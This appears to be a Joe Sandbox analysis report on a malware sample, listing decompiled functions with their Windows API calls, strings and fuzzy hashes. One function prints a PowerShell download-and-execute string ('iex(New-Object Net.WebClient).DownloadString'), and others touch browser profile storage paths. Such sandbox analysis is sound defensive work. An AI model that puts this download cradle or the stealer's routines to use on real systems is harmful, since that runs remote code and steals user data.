Opcode Fuzzy Hash: 409e78fb13d6794445940b5c0aff07b763ad56f8c0cd95c9c67de4eede8e8ce7
Instruction Fuzzy Hash: 3A011E75B40318BBEB14DBA49C4AFAA7779EB44B15F104159FB09EB2C0D6B0A9008BE4

Function 00423E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124stringtimeCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00423E45
lstrcpy.KERNEL32(00000000,0080D4A8), ref: 00423E6F
GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00404D2A,?,00000014), ref: 00423E79

Strings

*M@, xrefs: 00423EEE, 00423EDD

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$SystemTime
String ID: *M@
API String ID: 684065273-4186991356
Opcode ID: b737b09e2fdb8671383c258246ff60179fc49d3e631dd6ba07feedc772b9d3db
Instruction ID: b70439790c50c5c6328432dc7e4028cf2044113f60d486d5e56dbf02b5324992
Opcode Fuzzy Hash: b737b09e2fdb8671383c258246ff60179fc49d3e631dd6ba07feedc772b9d3db
Instruction Fuzzy Hash: 76418D31E012158FDB14CF29E984666BBF5FF08315B4A80AAE845DB3A2C779DD42CF94

Function 00409B80 Relevance: 6.0, APIs: 4, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00409B9B
LocalAlloc.KERNEL32(00000040,00000000,?,00000000,00000001,00000000,?,00000000,00000000), ref: 00409BAA
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00409BC1
LocalFree.KERNEL32(?,?,00000000,00000001,00000000,?,00000000,00000000,?,00000000,00000001,00000000,?,00000000,00000000), ref: 00409BD0

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 52a740a2c3a0b915a6e879fc1adc512548ca54352df63306b7731fa0a6cd477b
Instruction ID: f56e211861b801462745ebf168d915f74eb1128f2766c7b67ff98b51cc3af22d
Opcode Fuzzy Hash: 52a740a2c3a0b915a6e879fc1adc512548ca54352df63306b7731fa0a6cd477b
Instruction Fuzzy Hash: 31F0BD703453126BE7305F65AC49F577BA9EB04B61F240415FA49EA2C0E7B49C40CAA4

Function 0041CBE0 Relevance: 4.6, APIs: 3, Instructions: 89comstringCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0042B140,00000000,00000001,0042B130,?), ref: 0041CC06
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0041CC46
lstrcpyn.KERNEL32(?,?,00000104), ref: 0041CCC9

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWidelstrcpyn
String ID:
API String ID: 1940255200-0
Opcode ID: 5bf1d04cd0d9c23ec7e4ee8b214c7d0ff5809634d7edf7c662a8ddbc22321378
Instruction ID: 298b01ba0f95b48cf0bd8147bec7aa70b6d80af263c20577aa22d6e790515775
Opcode Fuzzy Hash: 5bf1d04cd0d9c23ec7e4ee8b214c7d0ff5809634d7edf7c662a8ddbc22321378
Instruction Fuzzy Hash: 84316171A40625AFD710DB98CC81FEAB7B9DB88B10F104185FA04EB2D0D7B0AE44CBE4

Function 004297A9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00029767), ref: 004297AE

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 6643e5d18cd7d82e7a10ddbf708aaa014ba0a48af895e02fdc5f0416a8e3d886
Instruction ID: 3f531f8b782c9585bcaa63b71017e9f52f3a35d0a41bf50913b866b312b7c068
Opcode Fuzzy Hash: 6643e5d18cd7d82e7a10ddbf708aaa014ba0a48af895e02fdc5f0416a8e3d886
Instruction Fuzzy Hash: FA9002607612148656112F706D0DB0A2794BA8978AFD144616011C4494EB6444015659

Function 00418640 Relevance: 84.4, APIs: 47, Strings: 1, Instructions: 449stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00418669
lstrlenA.KERNEL32(00000000), ref: 004186C7
lstrcpy.KERNEL32(00000000,00000000), ref: 004186FF
lstrcpy.KERNEL32(?,00000000), ref: 0041873C
StrStrA.SHLWAPI(?,00810DE0), ref: 00418761
lstrcpyn.KERNEL32(006393D0,?,00000000), ref: 00418780
lstrlenA.KERNEL32(?), ref: 00418793
wsprintfA.USER32 ref: 004187A3
lstrcpy.KERNEL32(?,?), ref: 004187B9
StrStrA.SHLWAPI(?,00810F00), ref: 004187E6
lstrcpy.KERNEL32(?,006393D0), ref: 00418846
StrStrA.SHLWAPI(?,00810FA8), ref: 00418873
lstrcpyn.KERNEL32(006393D0,?,00000000), ref: 00418892
strtok_s.MSVCRT ref: 00418CAB

Strings

%s%s, xrefs: 0041879D, 0041882A, 004188AF, 00418934, 004189C1, 00418A46, 00418ACB, 00418B58

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcpynlstrlenstrtok_s$wsprintf
String ID: %s%s
API String ID: 3558900699-3252725368
Opcode ID: dc9f531df32763e1ba6c61b066fd164f763a1944e9566eecd8b42f8df4f6e755
Instruction ID: 96e4ee7e2b6c4844fc4455e514d993d330a72d821b4853f1361ba20f1645a0c9
Opcode Fuzzy Hash: dc9f531df32763e1ba6c61b066fd164f763a1944e9566eecd8b42f8df4f6e755
Instruction Fuzzy Hash: 14023DB1A01614AFDB10DB64DD48ADBB7BAEF48341F10415AF909A7390DBB4AE41CFE4

Function 00401E79 Relevance: 65.2, APIs: 36, Strings: 1, Instructions: 407stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00401E9F
lstrlenA.KERNEL32(00809A58), ref: 00401EAE
lstrcpy.KERNEL32(00000000,?), ref: 00401EDB
lstrcatA.KERNEL32(00000000,?), ref: 00401EE3
lstrlenA.KERNEL32(00431D64), ref: 00401EEE
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F0E
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401F1A
lstrcpy.KERNEL32(00000000,?), ref: 00401F42
lstrcatA.KERNEL32(00000000,00000000), ref: 00401F4D
lstrlenA.KERNEL32(00431D64), ref: 00401F58
lstrcpy.KERNEL32(00000000,00000000), ref: 00401F75
lstrcatA.KERNEL32(00000000,00431D64), ref: 00401F81
lstrcpy.KERNEL32(00000000,00000000), ref: 00401FAC
lstrlenA.KERNEL32(?), ref: 00401FE4
lstrcpy.KERNEL32(00000000,00000000), ref: 00402004
lstrcatA.KERNEL32(00000000,?), ref: 00402012
lstrcpy.KERNEL32(00000000,00000000), ref: 00402039
lstrlenA.KERNEL32(00431D64), ref: 0040204B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040206B
lstrcatA.KERNEL32(00000000,00431D64), ref: 00402077
lstrcpy.KERNEL32(00000000,00000000), ref: 0040209D
lstrcatA.KERNEL32(00000000,00000000), ref: 004020A8
lstrcpy.KERNEL32(00000000,00000000), ref: 004020D4
lstrlenA.KERNEL32(?), ref: 004020EA
lstrcpy.KERNEL32(00000000,00000000), ref: 0040210A
lstrcatA.KERNEL32(00000000,?), ref: 00402118
lstrcpy.KERNEL32(00000000,00000000), ref: 00402142
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0040217F
lstrlenA.KERNEL32(00810AB0), ref: 0040218D
lstrcpy.KERNEL32(00000000,00000000), ref: 004021B1
lstrcatA.KERNEL32(00000000,00810AB0), ref: 004021B9
lstrcpy.KERNEL32(00000000,00000000), ref: 004021F7
lstrcatA.KERNEL32(00000000), ref: 00402204
lstrcpy.KERNEL32(00000000,00000000), ref: 0040222D
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00402256
lstrcpy.KERNEL32(00000000,00000000), ref: 00402282
lstrcpy.KERNEL32(00000000,00000000), ref: 004022BF
DeleteFileA.KERNEL32(00000000), ref: 004022F7
FindNextFileA.KERNEL32(00000000,?), ref: 00402344
FindClose.KERNEL32(00000000), ref: 00402353

Strings

P2#v, xrefs: 00402344

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$File$Find$CloseCopyDeleteNext
String ID: P2#v
API String ID: 2857443207-3395895848
Opcode ID: 125b0ab884baf273bb3800e8101dbfc50443b796af38b745a09a36a921bafd78
Instruction ID: 1444669474493f4ad9b3587b0f48e29a217f7b18063ef3258f63a112cc1899ee
Opcode Fuzzy Hash: 125b0ab884baf273bb3800e8101dbfc50443b796af38b745a09a36a921bafd78
Instruction Fuzzy Hash: 5BE14171A116169BCB10EF65CE89A9F77B9AF04304F04417AF905B72E1DBB8DD018BA8

Function 00414720 Relevance: 49.3, APIs: 26, Strings: 2, Instructions: 334stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414753
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414786
lstrcpy.KERNEL32(00000000,?), ref: 004147AE
lstrcatA.KERNEL32(00000000,00000000), ref: 004147B9
lstrlenA.KERNEL32(\storage\default\), ref: 004147C4
lstrcpy.KERNEL32(00000000,00000000), ref: 004147E1
lstrcatA.KERNEL32(00000000,\storage\default\), ref: 004147ED
lstrcpy.KERNEL32(00000000,00000000), ref: 00414816
lstrcatA.KERNEL32(00000000,00000000), ref: 00414821
lstrcpy.KERNEL32(00000000,00000000), ref: 00414848
lstrcpy.KERNEL32(00000000,?), ref: 00414887
lstrcatA.KERNEL32(00000000,?), ref: 0041488F
lstrlenA.KERNEL32(00431D64), ref: 0041489A
lstrcpy.KERNEL32(00000000,00000000), ref: 004148B7
lstrcatA.KERNEL32(00000000,00431D64), ref: 004148C3
lstrlenA.KERNEL32(.metadata-v2), ref: 004148CE
lstrcpy.KERNEL32(00000000,00000000), ref: 004148EB
lstrcatA.KERNEL32(00000000,.metadata-v2), ref: 004148F7
lstrcpy.KERNEL32(00000000,00000000), ref: 0041491E
lstrcpy.KERNEL32(00000000,?), ref: 00414950
GetFileAttributesA.KERNEL32(00000000), ref: 00414957
lstrcpy.KERNEL32(00000000,?), ref: 004149B1
lstrcpy.KERNEL32(00000000,?), ref: 004149DA
lstrcpy.KERNEL32(00000000,?), ref: 00414A03
lstrcpy.KERNEL32(00000000,?), ref: 00414A2B
lstrcpy.KERNEL32(00000000,0042D01C), ref: 00414A5F

Strings

.metadata-v2, xrefs: 004148C9, 004148F1
\storage\default\, xrefs: 004147BF, 004147E7

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AttributesFile
String ID: .metadata-v2$\storage\default\
API String ID: 1033685851-762053450
Opcode ID: dd2138280946730649ef61c7c14ef574c627639cc2097dc5cb1c52bfcdd4f55a
Instruction ID: d30c58c4467053dccf2652445dd087cccfc59a30d68f1ba08a1ef31e71978f70
Opcode Fuzzy Hash: dd2138280946730649ef61c7c14ef574c627639cc2097dc5cb1c52bfcdd4f55a
Instruction Fuzzy Hash: 6DB19171A116169BCB20BF75CE49A9F7BA5AF44304F04413AB845E73E1DB78DC418BE8

Function 00424800 Relevance: 38.5, APIs: 11, Strings: 11, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(ws2_32.dll,?,00417741), ref: 00424806
GetProcAddress.KERNEL32(00000000,connect), ref: 0042481C
GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 0042482D
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 0042483E
GetProcAddress.KERNEL32(00000000,htons), ref: 0042484F
GetProcAddress.KERNEL32(00000000,WSACleanup), ref: 00424860
GetProcAddress.KERNEL32(00000000,recv), ref: 00424871
GetProcAddress.KERNEL32(00000000,socket), ref: 00424882
GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 00424893
GetProcAddress.KERNEL32(00000000,closesocket), ref: 004248A4
GetProcAddress.KERNEL32(00000000,send), ref: 004248B5

Strings

recv, xrefs: 00424866
freeaddrinfo, xrefs: 00424888
closesocket, xrefs: 00424899
send, xrefs: 004248AA
getaddrinfo, xrefs: 00424833
connect, xrefs: 00424816
WSACleanup, xrefs: 00424855
WSAStartup, xrefs: 00424822
socket, xrefs: 00424877
ws2_32.dll, xrefs: 00424801
htons, xrefs: 00424844

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: WSACleanup$WSAStartup$closesocket$connect$freeaddrinfo$getaddrinfo$htons$recv$send$socket$ws2_32.dll
API String ID: 2238633743-3087812094
Opcode ID: 7acea55b68c6fe99379df47bebe131eaf1711e132ddd71a8ac4c128a56366321
Instruction ID: 2608c8a52b7f1c4959ded5839da1290a2abeaa3bc24d4372a562c03004b01e19
Opcode Fuzzy Hash: 7acea55b68c6fe99379df47bebe131eaf1711e132ddd71a8ac4c128a56366321
Instruction Fuzzy Hash: 5E11A875951720EF8714AFB5AD4DA9A3ABABA0E705B14381BF151D3160DBF84004DFE4

Function 00421800 Relevance: 37.8, APIs: 25, Instructions: 269stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0042182F
lstrlenA.KERNEL32(00806EC0,00000000,00000000,?,?,00421B61), ref: 00421840
lstrcpy.KERNEL32(00000000,00000000), ref: 00421867
lstrcatA.KERNEL32(00000000,00000000), ref: 00421872
lstrcpy.KERNEL32(00000000,00000000), ref: 004218A1
lstrlenA.KERNEL32(00435574,?,?,00421B61), ref: 004218B3
lstrcpy.KERNEL32(00000000,00000000), ref: 004218D4
lstrcatA.KERNEL32(00000000,00435574,?,?,00421B61), ref: 004218E0
lstrcpy.KERNEL32(00000000,00000000), ref: 0042190F
lstrlenA.KERNEL32(00806E80,?,?,00421B61), ref: 00421925
lstrcpy.KERNEL32(00000000,00000000), ref: 0042194C
lstrcatA.KERNEL32(00000000,00000000), ref: 00421957
lstrcpy.KERNEL32(00000000,00000000), ref: 00421986
lstrlenA.KERNEL32(00435574,?,?,00421B61), ref: 00421998
lstrcpy.KERNEL32(00000000,00000000), ref: 004219B9
lstrcatA.KERNEL32(00000000,00435574,?,?,00421B61), ref: 004219C5
lstrcpy.KERNEL32(00000000,00000000), ref: 004219F4
lstrlenA.KERNEL32(00806ED0,?,?,00421B61), ref: 00421A0A
lstrcpy.KERNEL32(00000000,00000000), ref: 00421A31
lstrcatA.KERNEL32(00000000,00000000), ref: 00421A3C
lstrcpy.KERNEL32(00000000,00000000), ref: 00421A6B
lstrlenA.KERNEL32(00806F00,?,?,00421B61), ref: 00421A81
lstrcpy.KERNEL32(00000000,00000000), ref: 00421AA8
lstrcatA.KERNEL32(00000000,00000000), ref: 00421AB3
lstrcpy.KERNEL32(00000000,00000000), ref: 00421AE2

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcatlstrlen
String ID:
API String ID: 1049500425-0
Opcode ID: 88300874d782a15611df5beac5fc96da0c30b1842bfd2badf2ae9a0245668749
Instruction ID: cd83e850efa3bae6deafe2dc61e6bc675f53ce51be2031d45fd1ca63436ccb19
Opcode Fuzzy Hash: 88300874d782a15611df5beac5fc96da0c30b1842bfd2badf2ae9a0245668749
Instruction Fuzzy Hash: CA914CB57017039BD720AFB6DD88A17B7E9AF14344B54583EA881D33B1DBB8D841CBA4

Function 0041BE80 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 203stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041BEB3
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041BEE6
lstrlenA.KERNEL32(-nop -c "iex(New-Object Net.WebClient).DownloadString('), ref: 0041BEF1
lstrcpy.KERNEL32(00000000,?), ref: 0041BF11
lstrcatA.KERNEL32(00000000,-nop -c "iex(New-Object Net.WebClient).DownloadString('), ref: 0041BF1D
lstrcpy.KERNEL32(00000000,00000000), ref: 0041BF40
lstrcatA.KERNEL32(00000000,00000000), ref: 0041BF4B
lstrlenA.KERNEL32(')"), ref: 0041BF56
lstrcpy.KERNEL32(00000000,00000000), ref: 0041BF73
lstrcatA.KERNEL32(00000000,')"), ref: 0041BF7F
lstrcpy.KERNEL32(00000000,00000000), ref: 0041BFA6
lstrlenA.KERNEL32(C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe), ref: 0041BFC6
lstrcpy.KERNEL32(00000000,?), ref: 0041BFE8
lstrcatA.KERNEL32(00000000,C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe), ref: 0041BFF4
lstrcpy.KERNEL32(00000000,00000000), ref: 0041C01A
ShellExecuteEx.SHELL32(?), ref: 0041C06C

Strings

')", xrefs: 0041BF51, 0041BF79
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 0041BEEC, 0041BF17
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 0041BFC1, 0041BFEE
<, xrefs: 0041C04D

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$ExecuteShell
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 4016326548-898575020
Opcode ID: 8392076088f75e60cb66b365634b026ce51573d45032c896806508c14ab97e00
Instruction ID: 88dc44a897d2c6d2d8da2f5ca31126832bd94841849a870b5719f04287ad33bb
Opcode Fuzzy Hash: 8392076088f75e60cb66b365634b026ce51573d45032c896806508c14ab97e00
Instruction Fuzzy Hash: 89617271E006159BCB11AFB58D8969F7BA5EF08308F04443BF905E72A1DB7CD9468BD8

Function 00418D00 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 174stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,?,?,0042081F), ref: 00418D1A
ExitProcess.KERNEL32 ref: 00418D27
strtok_s.MSVCRT ref: 00418D39

Strings

block, xrefs: 00418D0B

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: cda87a749066442cdea618000de36ee4b50b15a185237c63429fd0d33625824f
Instruction ID: 7ebe7ba7691324ad10e5bb22a9392ee3ecb3631b7e22e10a4705402974b4201f
Opcode Fuzzy Hash: cda87a749066442cdea618000de36ee4b50b15a185237c63429fd0d33625824f
Instruction Fuzzy Hash: 2D5170B1A047019FC7209F75DC886AB77F6EB08704B10582FF446D6660DBBCD5828FA9

Function 0041DAA0 Relevance: 27.3, APIs: 18, Instructions: 292stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041DAC1
memset.MSVCRT ref: 0041DAD3
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041DAFB
lstrcpy.KERNEL32(00000000,?), ref: 0041DB2E
lstrcatA.KERNEL32(?,00000000), ref: 0041DB3C
lstrcatA.KERNEL32(?,00810EE8), ref: 0041DB56
lstrcatA.KERNEL32(?,?), ref: 0041DB6A
lstrcatA.KERNEL32(?,008109A8), ref: 0041DB7E
lstrcpy.KERNEL32(00000000,?), ref: 0041DBAE
GetFileAttributesA.KERNEL32(00000000), ref: 0041DBB5
lstrcpy.KERNEL32(00000000,0042D01C), ref: 0041DC1E

Memory Dump Source

Source File: 00000000.00000002.2667810022.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2667810022.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.00000000004CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2667810022.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2BI8rJKpBa.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$memset$AttributesFileFolderPath
String ID:
API String ID: 2367105040-0
Opcode ID: b4121ca1202068391f0641a96f526e4bece7802f5731a0f7aa5a6d1ff9862f43
Instruction ID: aed10fd16fbcac2129612a7c2f819fc48613006412a0ef38c2091826efc87cc8
Opcode Fuzzy Hash: b4121ca1202068391f0641a96f526e4bece7802f5731a0f7aa5a6d1ff9862f43
